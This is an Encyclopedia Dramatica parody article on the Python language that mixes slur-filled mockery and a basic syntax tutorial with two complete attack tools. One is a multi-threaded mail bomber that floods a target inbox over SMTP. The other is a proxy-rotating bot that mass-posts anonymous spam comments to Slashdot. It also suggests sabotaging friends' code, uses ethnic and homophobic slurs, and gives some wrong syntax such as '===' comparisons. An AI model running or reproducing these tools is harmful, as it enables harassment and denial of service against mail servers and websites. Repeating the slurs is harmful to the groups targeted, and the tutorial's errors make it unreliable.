Python

From Encyclopedia Dramatica
Jump to navigationJump to search
Hey! This article isn't lulz just yet, but its coverage can spark a lollercoaster.
You can help by reverting people who delete shit, and vandalizing their user pages.
See this article on Google? Want to add something? Join us!
Oh those crazy Germans! Well, at least they got the right phylum.

Python is a chafing and slow scripting language, used only by mathematicians not in-the-know, and skript kiddies for writing blog-chafing scripts. Also good for SSH.

Python is the invoker of a fuckload of butthurt. Nobody in the whole fucking world uses Python anymore except lolcats and the occasional Ron Paul. Python has been known for it's complicated coding and batshit crazy errors that, when translated from moonspeak to English says something about how you can't program because of a "firewall" problem or a "network ear fuck." Those problems usually encourage you to just not fight it and play along because upon further investigation, you'll be mind-fucked with frustration the same way you got eye-fucked watching old guys having an orgy. Real h4x0rs won't be caught dead using Python, because it's just a toy teaching language that Guido put together because he couldn't understand Perl.

Python is an object oriented, interpreted language. It is unique in that it requires a user to indent in place of using curly brackets ({). It is used (along with PHP and VB) for many tools, since it is easy to use and has many features.

Note: that most *nix distributions come with Python by default. Did you click this page cause you were expecting something completely different?

Whitespace

For some reason, the developers of Python took it upon themselves to make the language whitespace dependent, meaning that the way the source looks changes the way the script preforms. This is the old way of doing things. This is proof that Python's inventors were too dumb to use a real programming language, or think their users are too retarded to indent their code.

Uses

Python is easy as fuck to write scripts with and so is used by novice programmers who have no idea what they are doing or how computers actually work. Ease of writing programs makes it desirable for experienced programmers to write scripts quickly to automate tasks. Most Python scripts out there are geared toward automation of tedious work. A lot of hacking tools are written in Python by ethical hackers so script kiddies can download them to deface websites.

Failures

  • Booleans are case sensitive and must start with uppercase letters because pedantic fucks like that or something.
  • Print statements have been removed entirely from version 3, rendering just about every script useless until it's rewritten.
  • Fucking whitespace errors

Tutorial

Below applies to all versions, even though Python 3 is a good bit different. So different, the official online references actually have to be used and skiddie tutorials no longer work. Python 2 is used to have access to the packages no one ported, while python 3 is used to have access to the newest features.

Basics

Basic python syntax

Python Version Difference

Python 2.7.5

>>> print "HELLO FAGGOTS!"
HELLO FAGGOTS!

Python 3.3.2

 >>> print "HELLO FAGGOTS!"
   File "<stdin>", line 1
     print "HELLO FAGGOTS!"
                        ^
 SyntaxError: invalid syntax

Variables

Variable names DO NOT need to begin with a special character, unlike PHP or Perl. Variable names CAN, however, be any combination, as long as the word isn't reserved (Ex: and, or, print), of letters and numbers.


>>> #Numbers
>>> a = 1 #Declare A as 1
>>> b = a+5 #b becomes 6, while a remains 1
>>> a += 5 #a is overwritten, and becomes 6
>>> c = b = a #c and b are overwritten and become 6
>>> #Strings
>>> a = "Fuck "
>>> b = "You"
>>> c = a+b #JOIN STRINGS
>>> a = "Blue Yellow Green Red".split(" ") #Split the string at every " "
>>> a #Output 'a' to the screen, same as print or print()
['Blue', 'Yellow', 'Green', 'Red'] #List object, another type of variable
>>> .join(a) #Join all the list objects as one
'BlueYellowGreenRed'
>>> a = 'Blue Green Yellow Red'[0:4] #This returns the sub-string 'Blue'
>>> a = 'Blue Green Yellow Red'[5:] #This returns the sub-string 'Green Yellow Red'
>>> a = 'Blue Green Yellow Red'[::2] #This returns the sub-string 'Bu re elwRd',
>>> #Float 
>>> a = 88.2
>>> b = 88
>>> print (a/25)
3.528
>>> print (b/25)
Python 2:
3
Python 3:
3.52
>>> #Other types
>>> a = (" ", 355, 256.7, ["Hello", "World"])
>>> type(a)
<type 'tuple'>
>>> a = {"Hello":"World", "Key":"Value"}
>>> type(a)
<type 'dict'>
>>> a = "Anhero"
>>> del a #Its a good idea, if you're making a 'hidden' script, to delete variables after you use them...

Statements

Comparison

< Less than
> Greater than
== Equal to
!= Not equal
=== Identical
!== Not identical
<= Less than or equal to
>= Greater than or equal to
If
>>> a = 1
>>> b = 2
>>> if a != b:
	print ("No!")
 
 	
No!
>>> a = 1
>>> b = 1
>>> if a == b:
	print ("Yes!")

	
Yes!
>>> a = 1
>>> b = 5
>>> if (a == b-len("....")/1) and "a" == "a" or "b" == "b":
	print ("Yes!")

 	
Yes!

Loops

As Python is an interpreted language, loops are fucking slow, so avoid them as much as possible. Replace them by Numpy functions or, if not appropriate, use the map function or list comprehensions.

While
>>> a = 1
>>> while a < 5: #Note, replacing '<' with '<=' allows it to reach 5, instead of stopping at 4
	print (a)
	a += 1

1
2
3
4
>>> a = False
>>> while a == False:
	print ("False")
	a = True

	
False
For
>>> for x in range(0, 10):
	print (x)

	
0
1
2
3
4
5
6
7
8
9
>>> for x in ['Hello', 'world', 'this', 'is', 'a', 'list']:
	print (x)

	
Hello
world
this
is
a
list

#Reverse loop over an array
>>> for x in ['Hello', 'world', 'this', 'is', 'a', 'list'][::-1]:
	print (x)

list
a
is
this
world
Hello
Map
#adding a space after each word

#defining a list
>>> text= ['Hello', 'world', 'this', 'is', 'a', 'list']

>>> text= list(map(lambda x: x+' ', text))

#lambda x: x+' ' is the same thing as
#def z(x):
#    return x+' '
# as map takes a function as first argument

# list() is a type conversion only useful in python 3 as in python 2 map() already returns a list.

>>> text

['Hello ', 'world ', 'this ', 'is ', 'a ', 'list ']
List comprehension
#same with list comprehension (faster in this case)

>>> text= ['Hello', 'world', 'this', 'is', 'a', 'list']

>>> text= [x+' ' for x in text]

>>> text

['Hello ', 'world ', 'this ', 'is ', 'a ', 'list ']

Classes

Since python is object oriented, you can define classes: The Keyword for defining classes is "class," and if you want to derive your class from another one, put it into brackets after the class name. The definition is closed by the notorious colon, followed by the notorious indented block. Notable about Python is, that every datatype is a class, even the simple ones.

Self reference, Member access

The self reference of a python class is, plain and simple "self." Class members can be accessed with the class/object name followed by a dot and the member name:

Myclass.myMember

Methods

Methods are defined like functions, just with the difference that their first parameter is "self"

Constructor/Destructor

Constructors in python classes are made by defining a method with the name '__init__' (Two underscores at the beginning and two underscores at the end) Destructors are alike, just '__del__' instead of '__init__'. Since Python has automatic memory management and a garbage collector, it cannot be assured that the destructor is called instantly at the classes' end of life. So don't rely on code you put in a destructor too heavily, or even better try to avoid using one.


class TheGame():
    def __init__(self):
        self.toPrint = 'You just lost it!'
        print (self.toPrint)
    def printLulz(self):
        print ("LULZ")
    def __del__(self):
        print ('If this method gets called, you won THE GAME!')

Objects

Creating an object of a Python class works as in most object oriented languages:

myObject = TheGame()

myObject is now an instance of TheGame() so myObject can be used to call any of TheGame()'s functions. Example:

myObject.printLulz()

The above will print "LULZ" into the interpreter.

Inheritance

Inheritance is just what it sounds like. It's when a class inherits all the methods of a "father" class.

class Inherit(TheGame):
    def __init__(self):
        pass
Inherit().printLulz()

The above code will print out "LULZ" into the interpreter because it inherits the method printLulz() from the class TheGame().

Examples

Multi-Threaded Mail Bomber

#CREATED BY: DUMP 
#MULTI THREADING ALLOWS FOR A CLASS TO BE RUN MULTIPLE TIMES AT ONCE.
#INCLUDES SMTP ENGINE, AND MAIL HEADER GEN. THAT FOLLOWS RFC STARDARDS
import socket, datetime, time, threading
class MailGen():
    def Engine(self, To, From, Subject, Data):
        self.lf = "\r\n"
        return "From: \""+From.split("@")[0]+"\" <"+From+">"+self.lf+"Return-Path: "+From+self.lf+"Sender: "+From+self.lf+"Recieved: "+From.split("@") [1].capitalize()+":25"+self.lf+"To: \""+To.split("@")[0]+"\" <"+To+">"+self.lf+"Subject: "+Subject+self.lf+"Date:  "+datetime.datetime.now().strftime("%a, %d %d %Y %H:%S")+self.lf+self.lf+Data
class MailBomb(threading.Thread):
    def __init__(self, To, From, Data):
        self.To = To
        self.From = From
        self.Data = Data
        threading.Thread.__init__ ( self )
    def run(self):
        print ("THREAD LAUNCHED")
        self.lf = "\r\n"
        self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.connection.connect((self.To[self.To.index("@")+1:len(self.To)], 25))
        self.connection.send("HELO"+self.lf); self.connection.recv(1024)
        self.connection.send("MAIL FROM: "+self.From+self.lf); self.connection.recv(1024)
        self.connection.send("RCPT TO: "+self.To+self.lf); self.connection.recv(1024)
        self.connection.send("DATA"+self.lf); self.connection.recv(1024)
        for line in self.Data: self.connection.send(line)
        self.connection.send(self.lf+self.lf+"."+self.lf); self.connection.recv(1024)
        self.connection.send("QUIT"+self.lf); self.connection.close()
address1 = raw_input("To E-mail: ")
address2 = raw_input("From E-mail: ")
data1 = raw_input("Subject: ")
data2 = raw_input("Data: ")
generator = MailGen()
message = generator.Engine(address1, address2, data1, data2)
multiply = int(raw_input("Amount Sent (0, 5, 10...): "))
lists = [address1]*multiply
for a in range(0, multiply, 5):
    for b in range(a, a+5):
        MailBomb(lists[b], address2, message).start()
    time.sleep(.50)

Modules

NumPy

Numpy implements the basic feature used for computations: a typed array and typical associated operations. Every serious computation package will use it as it is absolutely needed to get a decent speed without coding critical parts of your program in C.

SciPy

For more complicated operations on NumPy arrays.

Scapy

Scapy is a powerful, low-level, networking tool

DPKT

Fast, simple packet creation / parsing, with definitions for the basic TCP/IP protocols.

Fun With Python

Below: A Python script that chafes the ever-living shit out of Slashdot.

import getopt
from os import getpid
from random import choice, randrange
import re
from string import letters
from sys import argv, exit
import threading
from time import sleep
import urllib

numthrds = 5

##############################################################################
#   FUNCTION DEFINITIONS                                                     #
##############################################################################

def errmsg(msg):
	from sys import stderr
	print >> stderr, str(getpid()) + ': ' + msg

def getformkey(str):
	r = re.search('<INPUT.*NAME="formkey" VALUE="[0-9a-zA-Z]+"', str)
	if r:
		return re.search('[0-9a-zA-Z]{10}', r.group(0)).group(0)
	else:
		return ''

def rndchars(x):
	str = ""
	for i in range(randrange(x, x + 2)):
		str += choice(letters).lower()
	return str

def rndsubject():
	s = ''
	for i in range(4):
		s += rndchars(6)
	return s

###################
# Do getopt stuff #
###################
msgfile = 'msg.txt'
opt_d = 0
opt_l = 0
proxfile = 'proxies.txt'
purl = 'http://slashdot.org/comments.pl'
sid = '20721'

try:
	opts, args = getopt.getopt(argv[1:], 'df:hlp:s:u:')
except getopt.GetoptError, msg:
	from sys import stderr
	print >> stderr, argv[0] + ': ' + str(msg)
	exit(3)

for c, optarg in opts:
	if c == '-d':
		opt_d = 1
	if c == '-f':
		msgfile = optarg
	if c == '-h':
		print 'pystorm: ' + argv[0] + ' [OPTION]...'
		print 'Perform automated comment posting on a Slashcode blog.\n'
		print '  -d         remove nonworking proxies from internal list'
		print '  -f [FILE]  read HTML messages from [FILE]'
		print '  -h         display this usage help'
		print '  -l         just display list of HTTP proxies collected and exit'
		print '  -p [FILE]  read list of HTTP proxies from [FILE], one per line'
		print '  -s [NUM]   post to the story with ID [NUM]'
		print '  -u [URL]   use [URL] as the comment posting script'
	if c == '-l':
		opt_l = 1
	if c == '-p':
		proxfile = optarg
	if c == '-s':
		sid = optarg
	if c == '-u':
		purl = optarg

if proxfile == '':
	errmsg('no proxy file given')
	exit(10)

##############################
# Read proxies into an array #
##############################

proxies = []
num_proxies = 0

try:
	f = open(proxfile, 'r')
except:
	errmsg("an error occurred when trying to open " + proxfile)
	exit(5)

for x in f.readlines():
	proxies.append('http://' + x.strip())
	num_proxies += 1

f.close()
if num_proxies == 1:
	errmsg('read in 1 proxy')
elif num_proxies > 0:
	errmsg('read in ' + str(num_proxies) + ' proxies')
else:
	errmsg('couldn\'t read in proxies from ' + proxfile)
	exit(7)

if opt_l > 0:
	for n in proxies:
		print n
	exit(0)

if purl == '':
	errmsg('no post URL given')
	exit(11)

if sid == '0':
	errmsg('no SID given')
	exit(9)

if msgfile == '':
	errmsg('no message file given')
	exit(4)

########################################
# Read messages/subjects into an array #
########################################

msgs = []
subjects = []
num_msgs = 0

try:
	f = open(msgfile, 'r')
except:
	errmsg('an error occurred when trying to open ' + msgfile)
	exit(2)

i = 0

msgs.append('')
for x in f.readlines():
	if x == "%\n":
		i = 0
		msgs.append('')
		num_msgs += 1
	else:
		if i == 0:
			msgs[num_msgs] = ''
			subjects.append(x)
			i = 1
		else:
			msgs[num_msgs] += x
num_msgs += 1

f.close()
if num_msgs == 1:
	errmsg('read in 1 message')
elif num_msgs > 0:
	errmsg('read in ' + str(num_msgs) + ' messages')
else:
	errmsg('couldn\'t read in messages from ' + msgfile)
	exit(6)

class SpamThread(threading.Thread):

	def run(self):

		global opt_d

		while 1:

			self.proxy = choice(proxies)
			self.opendev = urllib.FancyURLopener({'http': self.proxy})
			self.url = purl + '?sid=' + sid + '&op=Reply'

			# choose a message
			self.i = randrange(0, num_msgs)
			try:
				self.subject = subjects[self.i].strip()
			except:
				self.subject = rndsubject()
			self.msg = msgs[self.i] + '\n' + rndchars(2)

			# get rid of that "Re:" shit in the subject
			if self.subject[0:3] == 'Re:':
				self.subject = self.subject[3:]

			# get initial post form
			try:
				#f = self.opendev.open(self.url, urllib.urlencode({}))
				f = self.opendev.open(self.url)
			except IOError:
				print self.proxy, "couldn't open post form"
				continue
			try:
				str = f.read(50000)
			except:
				print self.proxy, "got no data"
				if opt_d != 0:
					try:
						proxies.remove(self.proxy)
					except ValueError:
						pass
				continue

			if '<TITLE>BANNED!</TITLE>' in str:
				print self.proxy, "is banned"
				if opt_d != 0:
					try:
						proxies.remove(self.proxy)
					except ValueError:
						pass
				continue

			# get formkey
			formkey = getformkey(str)
			if formkey != '':
				print self.proxy, "got 1st formkey " + formkey
			else:
				if '<FONT COLOR="#000000">i have a big cock' in str:
					errmsg('This story has been archived')
					exit(8)
				print "Proxy", self.proxy, "couldn't get 1st formkey"
				if opt_d != 0:
					try:
						proxies.remove(self.proxy)
					except ValueError:
						pass
				continue

			# setup POST request
			self.par = urllib.urlencode(
			{
			'sid': sid,
			'pid': '0',
			'formkey': formkey,
			'postersubj': self.subject,
			'postercomment': self.msg,
			'postanon_present': '1',
			'postanon': 'on',
			'op': 'Preview',
			'posttype': '2'
			})

			# preview comment
			try:
				f = self.opendev.open(self.url, self.par)
			except IOError:
				print self.proxy, "couldn't preview"
				if opt_d != 0:
					try:
						proxies.remove(self.proxy)
					except ValueError:
						pass
				continue
			try:
				str = f.read(50000)
			except:
				print self.proxy, "got no data"
				if opt_d != 0:
					try:
						proxies.remove(self.proxy)
					except ValueError:
						pass
				continue


			# is this proxy readonly?
			if '<!-- Error type: readonly -->' in str:
				print self.proxy, "is readonly"
				if opt_d != 0:
					try:
						proxies.remove(self.proxy)
					except ValueError:
						pass
				continue

			# get new formkey
			formkey = getformkey(str)
			if formkey != '':
				print self.proxy, "got 2nd formkey " + formkey
			else:
				print self.proxy, "couldn't get 2nd formkey"
				if opt_d != 0:
					try:
						proxies.remove(self.proxy)
					except ValueError:
						pass
				continue

			# fucking 20 second shit
			print 'Waiting 20 seconds'
			sleep(20)

			self.url = purl + '?sid=' + sid + '&op=Submit'

			# setup POST request
			self.par = urllib.urlencode(
			{
			'sid': sid,
			'pid': '0',
			'rlogin': '1',
			'formkey': formkey,
			'unickname': '',
			'upasswd': '',
			'postersubj': self.subject,
			'postercomment': self.msg,
			'op': 'Submit',
			'posttype': '2'
			})

			# submit comment
			f = self.opendev.open(self.url, self.par)
			try:
				str = f.read(50000)
			except:
				print self.proxy, "got no data"
				if opt_d != 0:
					try:
						proxies.remove(self.proxy)
					except ValueError:
						pass
				continue

			# did it work?
			if '</TABLE>Comment Submitted.' in str:
				print self.proxy, "posted #", self.i, "successfully"
			elif '<!-- Error type: filter message -->' in str:
				print self.proxy, "content too lame to post"
				exit(12)
			else:
				if 'Slashdot requires you to wait' in str:
					print self.proxy, "hit 2 minute limit"
					continue
				elif '<!-- Error type: troll message -->' in str:
					print self.proxy, "has been 'temporarily' banned"
					if opt_d != 0:
						try:
							proxies.remove(self.proxy)
						except ValueError:
							pass
						continue
				print self.proxy, "screwed up submit"

#####################
# Main program loop #
#####################

if __name__ == '__main__':

	threadList = []

	# spawn threads
	for i in range(numthrds):
		thread = SpamThread()
		threadList.append(thread)

	# start the fuckers
	for thread in threadList:
		thread.start()

	# did all the threads start?
	numthreads = threading.activeCount() - 1
	errmsg('made ' + str(numthrds) + ' threads, ' + str(numthreads) + ' started')

	# keep track of how many proxies
	x = len(proxies)
	while threading.activeCount() > 1:
		y = len(proxies)
		if x != y:
			if y == 1:
				errmsg("1 proxy in global list")
			elif y == 0:
				errmsg("all proxies used up")
				exit(0)
			else:   
				errmsg(str(y) + " proxies in global list")
		try:
			sleep(0.6)
			x = y
		except:
			exit(1)
      ___               
    ,'._,`.              PYTHON SUCKS                                                 
   (-.___.-)               EVEN SANDNIGGERS CAN MASTER IT
   (-.___.-)                 DESPITE THE FACT THAT THIS IS OBVIOUSLY A COBRA                           
   `-.___.-'                                            
    ((  @ @|              .            __                                 
     \   ` |         ,\   |`.    @|   |  |      _.-._                     
    __`.`=-=mm===mm:: |   | |`.   |   |  |    ,'=` '=`.                   
   (    `-'|:/  /:/  `/  @| | |   |, @| @|   /---)W(---\                  
    \ \   / /  / /         @| |   '         (----| |----) ,~              
    |\ \ / /| / /            @|              \---| |---/  |               
    | \ V /||/ /                              `.-| |-,'   |               
    |  `-' |V /                                 \| |/    @'               
    |    , |-'                                 __| |__                    
    |    .;: _,-.                         ,--""..| |..""--.               
    ;;:::' "    )                        (`--::__|_|__::--')              
  ,-"      _,  /                          \`--...___...--'/               
 (    -:--'/  /                           /`--...___...--'\               
  "-._  `"'._/                           /`---...___...---'\              
      "-._   "---.                      (`---....___....---')             
       .' ",._ ,' )                     |`---....___....---'|             
       /`._|  `|  |                     (`---....___....---')             
      (   \    |  /                      \`---...___...---'/              
       `.  `,  ^""                        `:--...___...--;'               
         `.,'                               `-._______.-'                 

Python Trolling Techniques

#Want to troll your friends? Put one (or both) of the lines below somewhere in their code where they won't expect it.
#Works only in python 2 though :(
True = False
False = 1==1

#Test it:
>>> print True
False
>>> print False
True
>>> if not True:
        print "WTF?!"
WTF?!

#Enjoy confusion!
#Alternative, only for python 3
def print(x):
    pass
#Test it:
>>> print(True)
>>> print(False)

Unladen Swallow

Apparently some tenacious employees at Google (who use Python for fucking EVERYTHING) have taken it upon themselves to try to optimize Python's completely fucked structure. All that can be said is Allah help those poor unfortunate bastards. Read about their failure-iffic exploits here. Other people claim to be awesome Python programmers but obviously aren't.

Those employees have utterly failed in their goal to optimize the structure and have completely abandoned this hopeless endeavor in favor of more appealing projects. Even Google saw how fucked they were and took their funding away from them before they gave up.

External Links

  • Python.org - Go here to get your own copy of Python


Disambiguation

Do not confuse this with Monty Python or the snake of the same name. Although, might be worth noting that Python was named after "Monty Pythons Flying Circus", No shit. Not to mention the source code comments are filled with MP references and quotes. Dem damn Brits ruin everything, it would be a a 10 times cooler language if it was named after a fucking snake. Really.

Python is part of a series on

Softwarez

Visit the Softwarez Portal for complete coverage.

Python is part of a series on Programming.

[2 L337 4 MEEnter the Matrix]

ADAAssemblyCC++COBOLDebugDOSErlangErrorFdiskFortranIntegerJavaLOLCodeMachine CodeMatlabMIRC ScriptMUMPSOpen SourcePerlPHPProgramming languagePythonQBASICRuby on RailsScratchSSHVisual Basic

Hacks

Firefox XPS IRC AttackSafari XPS Attack Sandworm

Programmers

Bill GatesLinus TorvaldsWeevGoatse SecurityTerry DavisTheo de Raadt

Other Topics

Operating systemWarezNotepadIs not a bug, it's a featureDatabase Error